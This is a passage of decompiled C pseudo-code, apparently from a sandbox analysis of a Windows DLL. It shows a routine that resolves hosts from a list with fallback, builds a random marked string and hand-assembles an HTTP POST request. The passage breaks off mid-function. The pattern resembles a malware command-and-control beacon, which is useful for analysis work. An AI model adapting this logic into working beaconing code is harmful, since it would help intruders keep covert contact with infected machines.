				_t1287 = _t1286 + 0x30;
				_push(E10005A50);
				_push(E10005BA0);
				_push(0x14);
				_push(0x18);
				_v8 = 5;
				_push( &_v1036);
				E10008832();
				_push(E10005A50);
				_push(E10005BA0);
				_push(0x14);
				_push(0x18);
				_v8 = 6;
				_push( &_v1516);
				E10008832();
				_v8 = 7;
				_t1243 =  &_v1036;
				_v2188 = 0;
				while(1) {
					_t992 = E10005940( &_v1564, 0x1000a534, _t1218);
					_v2236 = _t992;
					if(_t992 <= 0) {
						break;
					}
					_t970 = _v1548;
					_v2216 = 0;
					_v2212 = 0xf;
					_v2232 = 0;
					if(_t970 < _t1218) {
						L268:
						_t943 = E100070B0(_t992, _t1133);
						asm("int3");
						asm("int3");
						asm("int3");
						return _t943;
					}
					_t1128 =  <  ? _t970 - _t1218 : _t992 - _t1218;
					_t973 =  >=  ? _v1564 :  &_v1564;
					_t974 = ( >=  ? _v1564 :  &_v1564) + _t1218;
					E10006CC0(_t985,  &_v2232, _t1133, ( >=  ? _v1564 :  &_v1564) + _t1218,  <  ? _t970 - _t1218 : _t992 - _t1218);
					_v2184 = _v2184 | 0x00000002;
					if(_t1243 ==  &_v2232) {
						_t1133 = _v2212;
						__eflags = _t1133 - 0x10;
						if(_t1133 < 0x10) {
							goto L14;
						} else {
							_t1130 = _v2232;
							_t1133 = _t1133 + 1;
							_t978 = _t1130;
							__eflags = _t1133 - 0x1000;
							if(_t1133 < 0x1000) {
								L13:
								_push(_t1133);
								E10008291(_t978, _t1130);
								_t1287 = _t1287 + 8;
								goto L14;
							} else {
								_t1130 =  *((intOrPtr*)(_t1130 - 4));
								_t1142 = _t1133 + 0x23;
								_t978 = _t978 - _t1130 + 0xfffffffc;
								__eflags = _t978 - 0x1f;
								if(_t978 > 0x1f) {
									goto L109;
								} else {
									goto L13;
								}
							}
						}
					} else {
						_t1131 = _t1243[5];
						if(_t1131 < 0x10) {
							L9:
							asm("movups xmm0, [ebp-0x8b4]");
							_t1243[4] = 0;
							_t1243[5] = 0xf;
							 *_t1243 = 0;
							asm("movups [esi], xmm0");
							asm("movq xmm0, [ebp-0x8a4]");
							asm("movq [esi+0x10], xmm0");
							L14:
							_t1243 =  &(_t1243[6]);
							_t670 = _v2188 + 1;
							_t1218 = _v2236 + 1;
							_v2188 = _t670;
							if(_t670 <= 0x14) {
								continue;
							} else {
								L17:
								_v2236 = 0;
								if(_t670 <= 0) {
									_t1219 = _v2188;
									goto L55;
								} else {
									_t936 = 0;
									_v2192 = 0;
									do {
										_t1133 =  &_v1016 + _t936;
										_t1278 =  &_v1036 + _t936;
										_v2204 = _t1133;
										_t992 = _t1278;
										_v2240 = _t1278;
										if( *_t1133 >= 0x10) {
											_t992 =  *_t1278;
											_v2240 = _t992;
										}
										_t937 = _t1280 + _t936 - 0x3f8;
										_v2244 = _t937;
										_t938 =  *_t937;
										_v2200 = _t938;
										if(_t938 == 0) {
											L51:
											__eflags =  &_v1516 + _v2192;
											E10006CC0(_t985,  &_v1516 + _v2192, _t1133, 0x1000a2e5, 0);
											goto L52;
										} else {
											_t1240 = memchr(_t992, 0x2f, _t938);
											_t1287 = _t1287 + 0xc;
											if(_t1240 == 0) {
												goto L51;
											} else {
												_t1220 = _t1240 - _v2240;
												if(_t1220 <= 0) {
													goto L51;
												} else {
													_t942 = _v2200;
													_v2216 = 0;
													_v2212 = 0xf;
													_v2232 = 0;
													if(_t942 < _t1220) {
														goto L268;
													}
													_t1214 = _v2204;
													_t1116 =  <  ? _t942 - _t1220 : _t992 | 0xffffffff;
													_t945 = _t1278;
													if( *_v2204 >= 0x10) {
														_t945 =  *_t1278;
													}
													E10006CC0(_t985,  &_v2232, _t1214, _t945 + _t1220, _t1116);
													_t948 = _v2192;
													_v2184 = _v2184 | 0x00000004;
													_t1119 =  &_v1516 + _t948;
													_v2200 = _t1119;
													if(_t1119 ==  &_v2232) {
														_t1133 = _v2212;
														__eflags = _t1133 - 0x10;
														if(_t1133 < 0x10) {
															goto L38;
														} else {
															_t1125 = _v2232;
															_t1133 = _t1133 + 1;
															_t962 = _t1125;
															__eflags = _t1133 - 0x1000;
															if(_t1133 < 0x1000) {
																L37:
																_push(_t1133);
																E10008291(_t962, _t1125);
																_t1287 = _t1287 + 8;
																goto L38;
															} else {
																_t1125 =  *((intOrPtr*)(_t1125 - 4));
																_t1142 = _t1133 + 0x23;
																_t962 = _t962 - _t1125 + 0xfffffffc;
																__eflags = _t962 - 0x1f;
																if(_t962 > 0x1f) {
																	goto L109;
																} else {
																	goto L37;
																}
															}
														}
													} else {
														_t965 = _t948 +  &_v1496;
														_v2240 = _t965;
														_t1133 =  *_t965;
														if(_t1133 < 0x10) {
															L33:
															asm("movups xmm0, [ebp-0x8b4]");
															 *(_t965 - 4) = 0;
															 *_t965 = 0xf;
															 *_t1119 = 0;
															asm("movups [ecx], xmm0");
															asm("movq xmm0, [ebp-0x8a4]");
															asm("movq [ecx+0x10], xmm0");
															L38:
															_v2216 = 0;
															_v2212 = 0xf;
															_v2232 = 0;
															_t1220 =  <  ?  *_v2244 : _t1220;
															_t951 = _t1278;
															if( *_v2204 >= 0x10) {
																_t951 =  *_t1278;
															}
															E10006CC0(_t985,  &_v2232, _t1133, _t951, _t1220);
															_v2184 = _v2184 | 0x00000008;
															if(_t1278 ==  &_v2232) {
																_t1133 = _v2212;
																__eflags = _t1133 - 0x10;
																if(_t1133 < 0x10) {
																	goto L52;
																} else {
																	_t1122 = _v2232;
																	_t1133 = _t1133 + 1;
																	_t954 = _t1122;
																	__eflags = _t1133 - 0x1000;
																	if(_t1133 < 0x1000) {
																		L50:
																		_push(_t1133);
																		E10008291(_t954, _t1122);
																		_t1287 = _t1287 + 8;
																		goto L52;
																	} else {
																		_t1122 =  *((intOrPtr*)(_t1122 - 4));
																		_t1142 = _t1133 + 0x23;
																		_t954 = _t954 - _t1122 + 0xfffffffc;
																		__eflags = _t954 - 0x1f;
																		if(_t954 > 0x1f) {
																			goto L109;
																		} else {
																			goto L50;
																		}
																	}
																}
															} else {
																_t1220 = _v2204;
																_t1123 =  *_t1220;
																if(_t1123 < 0x10) {
																	L46:
																	asm("movups xmm0, [ebp-0x8b4]");
																	 *_t1220 = 0xf;
																	 *_v2244 = 0;
																	 *_t1278 = 0;
																	asm("movups [esi], xmm0");
																	asm("movq xmm0, [ebp-0x8a4]");
																	asm("movq [esi+0x10], xmm0");
																	goto L52;
																} else {
																	_t958 =  *_t1278;
																	_t1124 = _t1123 + 1;
																	if(_t1124 < 0x1000) {
																		L45:
																		_push(_t1124);
																		E10008291(_t958, _t958);
																		_t1287 = _t1287 + 8;
																		goto L46;
																	} else {
																		_t1142 =  *(_t958 - 4);
																		_t1124 = _t1124 + 0x23;
																		if(_t958 - _t1142 + 0xfffffffc > 0x1f) {
																			goto L109;
																		} else {
																			_t958 = _t1142;
																			goto L45;
																		}
																	}
																}
															}
														} else {
															_t966 =  *_t1119;
															_t1126 = _t1133 + 1;
															if(_t1126 < 0x1000) {
																L32:
																_push(_t1126);
																E10008291(_t966, _t966);
																_t1119 = _v2200;
																_t1287 = _t1287 + 8;
																_t965 = _v2240;
																goto L33;
															} else {
																_t1142 =  *(_t966 - 4);
																_t1126 = _t1126 + 0x23;
																if(_t966 - _t1142 + 0xfffffffc > 0x1f) {
																	goto L109;
																} else {
																	_t966 = _t1142;
																	goto L32;
																}
															}
														}
													}
												}
											}
										}
										goto L74;
										L52:
										_t1114 = _v2236 + 1;
										_t1219 = _v2188;
										_t936 = _v2192 + 0x18;
										_v2236 = _t1114;
										_v2192 = _t936;
									} while (_t1114 < _t1219);
									L55:
									_t671 =  &_v2172;
									__imp__#115(0x202, _t671); // executed
									if(_t671 == 0) {
										asm("xorps xmm0, xmm0");
										_t1244 =  *0x1000d014; // 0x14
										asm("movups [ebp-0x6e8], xmm0");
										_v1768 = 0;
										_v1764 = 1;
										_v1760 = 6;
										asm("movups [ebp-0x6d8], xmm0");
										_t994 =  *(_v2180 + 8);
										__eflags = _t1244 - 0xffffffff;
										if(_t1244 != 0xffffffff) {
											_t1134 =  *0x1000d5c0; // 0x1
										} else {
											_t1244 = _t994;
											asm("cdq");
											 *0x1000d014 = _t1244;
											_t1134 = _t994 % _t1219;
										}
										__eflags = _t994 - _t1244;
										if(_t994 != _t1244) {
											 *0x1000d014 = _t994;
											_t1134 = _t1134 + 1;
											__eflags = _t1134;
										}
										_v1568 = 0xf;
										_v1572 = 0;
										__eflags = _t1134 - _t1219 - 1;
										_v1588 = 0;
										_t1135 =  >  ? 0 : _t1134;
										 *0x1000d5c0 =  >  ? 0 : _t1134;
										E10006CC0(_t985,  &_v1588,  >  ? 0 : _t1134, 0x1000a2e5, 0);
										_v8 = 8;
										_v1644 = 0;
										_v1640 = 0xf;
										_v1660 = 0;
										E10006CC0(_t985,  &_v1660,  >  ? 0 : _t1134, 0x1000a2e5, 0);
										_v8 = 9;
										_t1220 =  *0x1000d5c0; // 0x1
										__eflags = _t1220 - _v2188;
										if(_t1220 >= _v2188) {
											L86:
											_t1245 = _v2196;
											 *(_t1245 + 0x10) = 0;
											 *(_t1245 + 0x14) = 0xf;
											 *_t1245 = 0;
											E10006CC0(_t985, _t1245, _t1135, "506", 3);
											_t1220 = _v2184 | 0x00000001;
											_v8 = 8;
											_t1136 = _v1640;
											_v2184 = _t1220;
											__eflags = _t1136 - 0x10;
											if(_t1136 < 0x10) {
												L90:
												_v8 = 7;
												_t1137 = _v1568;
												__eflags = _t1137 - 0x10;
												if(_t1137 < 0x10) {
													L94:
													_push(E10005A50);
													_push(0x14);
													_push(0x18);
													_v8 = 6;
													_push( &_v1516);
													E1000889C();
													_push(E10005A50);
													_push(0x14);
													_push(0x18);
													_v8 = 5;
													_push( &_v1036);
													E1000889C();
													_t1138 = _v1544;
													__eflags = _t1138 - 0x10;
													if(_t1138 < 0x10) {
														L98:
														_t1139 = _v1664;
														_v1548 = 0;
														_v1544 = 0xf;
														_v1564 = 0;
														__eflags = _t1139 - 0x10;
														if(_t1139 < 0x10) {
															L102:
															_t1140 = _a24;
															__eflags = _t1140 - 0x10;
															if(_t1140 < 0x10) {
																L106:
																_t1141 = _a48;
																_a20 = 0;
																_a24 = 0xf;
																_a4 = 0;
																__eflags = _t1141 - 0x10;
																if(_t1141 < 0x10) {
																	goto L73;
																} else {
																	_t1003 = _a28;
																	_t1142 = _t1141 + 1;
																	_t682 = _t1003;
																	__eflags = _t1142 - 0x1000;
																	if(_t1142 < 0x1000) {
																		goto L72;
																	} else {
																		_t1003 =  *((intOrPtr*)(_t1003 - 4));
																		_t1142 = _t1142 + 0x23;
																		_t682 = _t682 - _t1003 + 0xfffffffc;
																		__eflags = _t682 - 0x1f;
																		if(_t682 <= 0x1f) {
																			goto L72;
																		} else {
																			goto L109;
																		}
																	}
																}
															} else {
																_t1103 = _a4;
																_t1208 = _t1140 + 1;
																_t916 = _t1103;
																__eflags = _t1208 - 0x1000;
																if(_t1208 < 0x1000) {
																	L105:
																	_push(_t1208);
																	E10008291(_t916, _t1103);
																	_t1287 = _t1287 + 8;
																	goto L106;
																} else {
																	_t1103 =  *((intOrPtr*)(_t1103 - 4));
																	_t1142 = _t1208 + 0x23;
																	_t916 = _t916 - _t1103 + 0xfffffffc;
																	__eflags = _t916 - 0x1f;
																	if(_t916 > 0x1f) {
																		goto L109;
																	} else {
																		goto L105;
																	}
																}
															}
														} else {
															_t1104 = _v1684;
															_t1209 = _t1139 + 1;
															_t919 = _t1104;
															__eflags = _t1209 - 0x1000;
															if(_t1209 < 0x1000) {
																L101:
																_push(_t1209);
																E10008291(_t919, _t1104);
																_t1287 = _t1287 + 8;
																goto L102;
															} else {
																_t1104 =  *((intOrPtr*)(_t1104 - 4));
																_t1142 = _t1209 + 0x23;
																_t919 = _t919 - _t1104 + 0xfffffffc;
																__eflags = _t919 - 0x1f;
																if(_t919 > 0x1f) {
																	goto L109;
																} else {
																	goto L101;
																}
															}
														}
													} else {
														_t1105 = _v1564;
														_t1210 = _t1138 + 1;
														_t922 = _t1105;
														__eflags = _t1210 - 0x1000;
														if(_t1210 < 0x1000) {
															L97:
															_push(_t1210);
															E10008291(_t922, _t1105);
															_t1287 = _t1287 + 8;
															goto L98;
														} else {
															_t1105 =  *((intOrPtr*)(_t1105 - 4));
															_t1142 = _t1210 + 0x23;
															_t922 = _t922 - _t1105 + 0xfffffffc;
															__eflags = _t922 - 0x1f;
															if(_t922 > 0x1f) {
																goto L109;
															} else {
																goto L97;
															}
														}
													}
												} else {
													_t1106 = _v1588;
													_t1211 = _t1137 + 1;
													_t925 = _t1106;
													__eflags = _t1211 - 0x1000;
													if(_t1211 < 0x1000) {
														L93:
														_push(_t1211);
														E10008291(_t925, _t1106);
														_t1287 = _t1287 + 8;
														goto L94;
													} else {
														_t1106 =  *((intOrPtr*)(_t1106 - 4));
														_t1142 = _t1211 + 0x23;
														_t925 = _t925 - _t1106 + 0xfffffffc;
														__eflags = _t925 - 0x1f;
														if(_t925 > 0x1f) {
															goto L109;
														} else {
															goto L93;
														}
													}
												}
											} else {
												_t1107 = _v1660;
												_t1212 = _t1136 + 1;
												_t928 = _t1107;
												__eflags = _t1212 - 0x1000;
												if(_t1212 < 0x1000) {
													L89:
													_push(_t1212);
													E10008291(_t928, _t1107);
													_t1287 = _t1287 + 8;
													goto L90;
												} else {
													_t1107 =  *((intOrPtr*)(_t1107 - 4));
													_t1142 = _t1212 + 0x23;
													_t928 = _t928 - _t1107 + 0xfffffffc;
													__eflags = _t928 - 0x1f;
													if(_t928 > 0x1f) {
														goto L109;
													} else {
														goto L89;
													}
												}
											}
										} else {
											_t1276 =  &_v1036 + (_t1220 + _t1220 * 2) * 8;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1276 + 0x14)) - 0x10;
												_t932 = _t1276;
												if( *((intOrPtr*)(_t1276 + 0x14)) >= 0x10) {
													_t932 =  *_t1276;
												}
												__imp__getaddrinfo(_t932, 0x1000a53c,  &_v1772,  &_v2176); // executed
												__eflags = _t932;
												if(_t932 == 0) {
													goto L110;
												}
												_t1220 = _t1220 + 1;
												_t1276 = _t1276 + 0x18;
												__eflags = _t1220 - _v2188;
												if(_t1220 < _v2188) {
													continue;
												} else {
													goto L86;
												}
												goto L74;
											}
											goto L110;
										}
									} else {
										_t1245 = _v2196;
										 *(_t1245 + 0x10) = 0;
										 *(_t1245 + 0x14) = 0xf;
										 *_t1245 = 0;
										E10006CC0(_t985, _t1245, _t1133, "500", 3);
										_t1220 = _v2184 | 0x00000001;
										_v2184 = _t1220;
										goto L57;
									}
								}
							}
						} else {
							_t981 =  *_t1243;
							_t1132 = _t1131 + 1;
							if(_t1132 < 0x1000) {
								L8:
								_push(_t1132);
								E10008291(_t981, _t981);
								_t1287 = _t1287 + 8;
								goto L9;
							} else {
								_t1142 =  *(_t981 - 4);
								_t1132 = _t1132 + 0x23;
								if(_t981 - _t1142 + 0xfffffffc > 0x1f) {
									L109:
									__imp___invalid_parameter_noinfo_noreturn();
									L110:
									_t1248 = _t1220 + _t1220 * 2 << 3;
									_t686 =  &_v1036 + _t1248;
									__eflags =  &_v1588 - _t686;
									if( &_v1588 != _t686) {
										__eflags =  *((intOrPtr*)(_t686 + 0x14)) - 0x10;
										_t1101 = _t686;
										if( *((intOrPtr*)(_t686 + 0x14)) >= 0x10) {
											_t1101 =  *_t686;
										}
										E10006CC0(_t985,  &_v1588, _t1142, _t1101,  *((intOrPtr*)(_t686 + 0x10)));
									}
									_t688 =  &_v1516 + _t1248;
									__eflags =  &_v1660 - _t688;
									if(__eflags != 0) {
										__eflags =  *((intOrPtr*)(_t688 + 0x14)) - 0x10;
										_t1099 = _t688;
										if( *((intOrPtr*)(_t688 + 0x14)) >= 0x10) {
											_t1099 =  *_t688;
										}
										E10006CC0(_t985,  &_v1660, _t1142, _t1099,  *((intOrPtr*)(_t688 + 0x10)));
									}
									_t689 = rand();
									asm("cdq");
									_t691 = E100011A0(_t985,  &_v1716, _t689 % 0x1c, _t1220, _t689 % 0x1c, __eflags); // executed
									_v2200 = _t691;
									_v8 = 0xa;
									_t1223 = E100013A0( &_v2488, _t689 % 0x1c + 1);
									_v8 = 0xb;
									_t1145 =  *(_t1223 + 0x14);
									_t1009 =  *(_t1223 + 0x10);
									__eflags = _t1145 - _t1009 - 1;
									if(_t1145 - _t1009 < 1) {
										_v2180 = 0;
										_t1223 = E100079E0(_t985, _t1223, _t1223, 1, _v2180, 0x1000a544, 1);
									} else {
										 *(_t1223 + 0x10) = _t1009 + 1;
										_t912 = _t1223;
										__eflags = _t1145 - 0x10;
										if(_t1145 >= 0x10) {
											_t912 =  *_t1223;
										}
										_t1274 = _t912 + _t1009;
										memmove(_t1274, 0x1000a544, 1);
										_t1287 = _t1287 + 0xc;
										 *((char*)(_t1274 + 1)) = 0;
									}
									_v2396 = 0;
									_v2392 = 0;
									asm("movups xmm0, [edi]");
									asm("movups [ebp-0x968], xmm0");
									asm("movq xmm0, [edi+0x10]");
									asm("movq [ebp-0x958], xmm0");
									 *(_t1223 + 0x10) = 0;
									 *(_t1223 + 0x14) = 0xf;
									 *_t1223 = 0;
									_t1225 = _v2184 | 0x00000010;
									_v2184 = _t1225;
									_v2188 = _t1225;
									_v8 = 0xc;
									E10007350( &_v1540,  &_v2412, _v2200);
									_t1290 = _t1287 + 4;
									_v8 = 0xe;
									_t1147 = _v2392;
									__eflags = _t1147 - 0x10;
									if(_t1147 < 0x10) {
										L127:
										_v2396 = 0;
										_v2392 = 0xf;
										_v2412 = 0;
										_v8 = 0xf;
										_t1148 = _v2468;
										__eflags = _t1148 - 0x10;
										if(_t1148 < 0x10) {
											L131:
											_v2472 = 0;
											_v2468 = 0xf;
											_v2488 = 0;
											_v8 = 0x10;
											_t1149 = _v1696;
											__eflags = _t1149 - 0x10;
											if(_t1149 >= 0x10) {
												_t1096 = _v1716;
												_t1149 = _t1149 + 1;
												_t902 = _t1096;
												__eflags = _t1149 - 0x1000;
												if(_t1149 >= 0x1000) {
													_t1096 =  *((intOrPtr*)(_t1096 - 4));
													_t1149 = _t1149 + 0x23;
													_t902 = _t902 - _t1096 + 0xfffffffc;
													__eflags = _t902 - 0x1f;
													if(_t902 > 0x1f) {
														goto L134;
													}
												}
												goto L135;
											}
										} else {
											_t1097 = _v2488;
											_t1206 = _t1148 + 1;
											_t905 = _t1097;
											__eflags = _t1206 - 0x1000;
											if(_t1206 < 0x1000) {
												L130:
												_push(_t1206);
												E10008291(_t905, _t1097);
												_t1290 = _t1290 + 8;
												goto L131;
											} else {
												_t1096 =  *((intOrPtr*)(_t1097 - 4));
												_t1149 = _t1206 + 0x23;
												_t902 = _t905 - _t1096 + 0xfffffffc;
												__eflags = _t905 - _t1096 + 0xfffffffc - 0x1f;
												if(_t905 - _t1096 + 0xfffffffc > 0x1f) {
													goto L134;
												} else {
													goto L130;
												}
											}
										}
									} else {
										_t1098 = _v2412;
										_t1207 = _t1147 + 1;
										_t908 = _t1098;
										__eflags = _t1207 - 0x1000;
										if(_t1207 < 0x1000) {
											L126:
											_push(_t1207);
											E10008291(_t908, _t1098);
											_t1290 = _t1290 + 8;
											goto L127;
										} else {
											_t1096 =  *((intOrPtr*)(_t1098 - 4));
											_t1149 = _t1207 + 0x23;
											_t902 = _t908 - _t1096 + 0xfffffffc;
											__eflags = _t908 - _t1096 + 0xfffffffc - 0x1f;
											if(_t908 - _t1096 + 0xfffffffc > 0x1f) {
												L134:
												__imp___invalid_parameter_noinfo_noreturn();
												L135:
												_push(_t1149);
												E10008291(_t902, _t1096);
												_t1290 = _t1290 + 8;
											} else {
												goto L126;
											}
										}
									}
									_t1291 = _t1290 - 0x18;
									_v1700 = 0;
									_t1012 = _t1291;
									_v2180 = _t1291;
									_v1696 = 0xf;
									_v1716 = 0;
									 *(_t1012 + 0x10) = 0;
									 *(_t1012 + 0x14) = 0xf;
									 *_t1012 = 0;
									E10006CC0(_t985, _t1012, _t1149, "KJKLO", 5);
									_t1292 = _t1291 - 0x18;
									_v8 = 0x11;
									E10005BC0(_t1292, _t1149,  &_v1540);
									_v8 = 0x10;
									_t1250 = E100019B0( &_v1636, _t1149, __eflags);
									_t1293 = _t1292 + 0x30;
									__eflags =  &_v1540 - _t1250;
									if( &_v1540 == _t1250) {
										L142:
										_t1150 = _v1616;
										__eflags = _t1150 - 0x10;
										if(_t1150 >= 0x10) {
											_t1094 = _v1636;
											_t1203 = _t1150 + 1;
											_t896 = _t1094;
											__eflags = _t1203 - 0x1000;
											if(_t1203 >= 0x1000) {
												_t1094 =  *((intOrPtr*)(_t1094 - 4));
												_t1203 = _t1203 + 0x23;
												_t896 = _t896 - _t1094 + 0xfffffffc;
												__eflags = _t896 - 0x1f;
												if(_t896 > 0x1f) {
													goto L145;
												}
											}
											goto L146;
										}
									} else {
										_t1204 = _v1520;
										__eflags = _t1204 - 0x10;
										if(_t1204 < 0x10) {
											L141:
											asm("movups xmm0, [esi]");
											asm("movups [ebp-0x600], xmm0");
											asm("movq xmm0, [esi+0x10]");
											 *(_t1250 + 0x10) = 0;
											 *(_t1250 + 0x14) = 0xf;
											asm("movq [ebp-0x5f0], xmm0");
											 *_t1250 = 0;
											goto L142;
										} else {
											_t1095 = _v1540;
											_t1205 = _t1204 + 1;
											_t899 = _t1095;
											__eflags = _t1205 - 0x1000;
											if(_t1205 < 0x1000) {
												L140:
												_push(_t1205);
												E10008291(_t899, _t1095);
												_t1293 = _t1293 + 8;
												goto L141;
											} else {
												_t1094 =  *((intOrPtr*)(_t1095 - 4));
												_t1203 = _t1205 + 0x23;
												_t896 = _t899 - _t1094 + 0xfffffffc;
												__eflags = _t899 - _t1094 + 0xfffffffc - 0x1f;
												if(_t899 - _t1094 + 0xfffffffc > 0x1f) {
													L145:
													__imp___invalid_parameter_noinfo_noreturn();
													L146:
													_push(_t1203);
													E10008291(_t896, _t1094);
													_t1293 = _t1293 + 8;
												} else {
													goto L140;
												}
											}
										}
									}
									__eflags = _v1520 - 0x10;
									_t702 = _v1540;
									_push(_v1524);
									_t1152 =  >=  ? _t702 :  &_v1540;
									_v2192 = _t702;
									_t1251 = E10001470( &_v1636,  >=  ? _t702 :  &_v1540);
									_t1294 = _t1293 + 4;
									__eflags =  &_v1540 - _t1251;
									if( &_v1540 == _t1251) {
										L153:
										_t1153 = _v1616;
										__eflags = _t1153 - 0x10;
										if(_t1153 >= 0x10) {
											_t1092 = _v1636;
											_t1201 = _t1153 + 1;
											_t888 = _t1092;
											__eflags = _t1201 - 0x1000;
											if(_t1201 >= 0x1000) {
												_t1092 =  *((intOrPtr*)(_t1092 - 4));
												_t1201 = _t1201 + 0x23;
												_t888 = _t888 - _t1092 + 0xfffffffc;
												__eflags = _t888 - 0x1f;
												if(_t888 > 0x1f) {
													goto L156;
												}
											}
											goto L157;
										}
									} else {
										_t891 = _v1520;
										__eflags = _t891 - 0x10;
										if(_t891 < 0x10) {
											L152:
											asm("movups xmm0, [esi]");
											asm("movups [ebp-0x600], xmm0");
											asm("movq xmm0, [esi+0x10]");
											 *(_t1251 + 0x10) = 0;
											 *(_t1251 + 0x14) = 0xf;
											asm("movq [ebp-0x5f0], xmm0");
											 *_t1251 = 0;
											_v2192 = _v1540;
											goto L153;
										} else {
											_t1202 = _v1540;
											_t296 = _t891 + 1; // 0x11
											_t1093 = _t296;
											_t893 = _t1202;
											__eflags = _t1093 - 0x1000;
											if(_t1093 < 0x1000) {
												L151:
												_push(_t1093);
												E10008291(_t893, _t1202);
												_t1294 = _t1294 + 8;
												goto L152;
											} else {
												_t1201 =  *((intOrPtr*)(_t1202 - 4));
												_t1092 = _t1093 + 0x23;
												_t888 = _t893 - _t1201 + 0xfffffffc;
												__eflags = _t893 - _t1201 + 0xfffffffc - 0x1f;
												if(_t893 - _t1201 + 0xfffffffc > 0x1f) {
													L156:
													__imp___invalid_parameter_noinfo_noreturn();
													L157:
													_push(_t1201);
													E10008291(_t888, _t1092);
													_t1294 = _t1294 + 8;
												} else {
													goto L151;
												}
											}
										}
									}
									_t1016 = _a44;
									_t1252 =  &_v23;
									_v2204 = _t1016;
									do {
										_t1252 = _t1252 - 1;
										_t1155 = 0xcccccccd * _t1016 >> 0x20 >> 3;
										_t1016 = _t1155;
										 *_t1252 = _v2204 - (_t1155 << 2) + _t1155 + (_t1155 << 2) + _t1155 + 0x30;
										_t712 = _t1155;
										_v2204 = _t712;
										__eflags = _t712;
									} while (_t712 != 0);
									_t713 =  &_v23;
									_v2216 = 0;
									_v2212 = 0xf;
									_v2232 = 0;
									__eflags = _t1252 - _t713;
									if(_t1252 != _t713) {
										__eflags = _t713 - _t1252;
										E10006CC0(_t985,  &_v2232, _t1155, _t1252, _t713 - _t1252);
									}
									_v2184 = _t1225 | 0x00000060;
									_v8 = 0x12;
									_t715 = E100074F0( &_v1636, "POST ",  &_v1660);
									_t1295 = _t1294 + 4;
									_t1227 = _t715;
									_v8 = 0x13;
									_t1157 =  *(_t1227 + 0x14);
									_t1020 =  *(_t1227 + 0x10);
									__eflags = _t1157 - _t1020 - 1;
									if(_t1157 - _t1020 < 1) {
										_v2180 = 0;
										_t1227 = E100079E0(_t985, _t1227, _t1227, 1, _v2180, "/", 1);
									} else {
										 *(_t1227 + 0x10) = _t1020 + 1;
										_t884 = _t1227;
										__eflags = _t1157 - 0x10;
										if(_t1157 >= 0x10) {
											_t884 =  *_t1227;
										}
										_t1273 = _t884 + _t1020;
										memmove(_t1273, "/", 1);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1273 + 1)) = 0;
									}
									_v2324 = 0;
									_v2320 = 0;
									asm("movups xmm0, [edi]");
									_v2184 = _v2188 | 0x000000e0;
									asm("movups [ebp-0x920], xmm0");
									asm("movq xmm0, [edi+0x10]");
									asm("movq [ebp-0x910], xmm0");
									 *(_t1227 + 0x10) = 0;
									 *(_t1227 + 0x14) = 0xf;
									 *_t1227 = 0;
									_v8 = 0x14;
									__eflags = _v1520 - 0x10;
									_t1253 = _v2320;
									_t1159 =  >=  ? _v2192 :  &_v1540;
									_t1022 = _v2324;
									_t1228 = _v1524;
									_push(_t1228);
									_push( >=  ? _v2192 :  &_v1540);
									__eflags = _t1228 - _t1253 - _t1022;
									if(_t1228 > _t1253 - _t1022) {
										_v2180 = 0;
										_push(_v2180);
										_push(_t1228);
										_t723 = E100079E0(_t985,  &_v2340, _t1228);
										_v2192 = _v1540;
									} else {
										__eflags = _t1253 - 0x10;
										_v2324 = _t1228 + _t1022;
										_t881 =  >=  ? _v2340 :  &_v2340;
										_t1272 = ( >=  ? _v2340 :  &_v2340) + _t1022;
										memmove(_t1272, ??, ??);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1272 + _t1228)) = 0;
										_t723 =  &_v2340;
									}
									_t1229 = _v2188;
									_v2300 = 0;
									_v2296 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x908], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x8f8], xmm0");
									 *(_t723 + 0x10) = 0;
									 *(_t723 + 0x14) = 0xf;
									 *_t723 = 0;
									_v2184 = _t1229 | 0x000001e0;
									_v8 = 0x15;
									_t1160 = _v2296;
									_t1025 = _v2300;
									_push(0x11);
									_push(" HTTP/1.1\r\nHost: ");
									__eflags = _t1160 - _t1025 - 0x11;
									if(_t1160 - _t1025 < 0x11) {
										_v2180 = 0;
										_push(_v2180);
										_push(0x11);
										_t728 = E100079E0(_t985,  &_v2316, _t1229);
									} else {
										__eflags = _t1160 - 0x10;
										_t368 = _t1025 + 0x11; // 0x11
										_t1270 =  >=  ? _v2316 :  &_v2316;
										_t1271 = ( >=  ? _v2316 :  &_v2316) + _t1025;
										_v2300 = _t368;
										memmove(_t1271, ??, ??);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1271 + 0x11)) = 0;
										_t728 =  &_v2316;
									}
									_v2276 = 0;
									_v2272 = 0;
									asm("movups xmm0, [eax]");
									_v2184 = _t1229 | 0x000003e0;
									asm("movups [ebp-0x8f0], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x8e0], xmm0");
									 *(_t728 + 0x10) = 0;
									 *(_t728 + 0x14) = 0xf;
									 *_t728 = 0;
									_v8 = 0x16;
									__eflags = _v1568 - 0x10;
									_t1254 = _v2272;
									_t1028 =  >=  ? _v1588 :  &_v1588;
									_t1161 = _v2276;
									_t1231 = _v1572;
									_push(_t1231);
									_push( >=  ? _v1588 :  &_v1588);
									__eflags = _t1231 - _t1254 - _t1161;
									if(_t1231 > _t1254 - _t1161) {
										_v2180 = 0;
										_push(_v2180);
										_push(_t1231);
										_t731 = E100079E0(_t985,  &_v2292, _t1231);
									} else {
										__eflags = _t1254 - 0x10;
										_v2276 = _t1161 + _t1231;
										_t875 =  >=  ? _v2292 :  &_v2292;
										_t1268 = ( >=  ? _v2292 :  &_v2292) + _t1161;
										memmove(_t1268, ??, ??);
										_t1295 = _t1295 + 0xc;
										 *((char*)(_t1268 + _t1231)) = 0;
										_t731 =  &_v2292;
									}
									_t1232 = _v2188;
									_v2372 = 0;
									_v2368 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x950], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x940], xmm0");
									 *(_t731 + 0x10) = 0;
									 *(_t731 + 0x14) = 0xf;
									 *_t731 = 0;
									_v2184 = _t1232 | 0x000007e0;
									_v8 = 0x17;
									_t1162 = _v2368;
									_t1030 = _v2372;
									_push(0x12);
									_push("\r\nContent-Length: ");
									__eflags = _t1162 - _t1030 - 0x12;
									if(_t1162 - _t1030 < 0x12) {
										_v2180 = 0;
										_push(_v2180);
										_push(0x12);
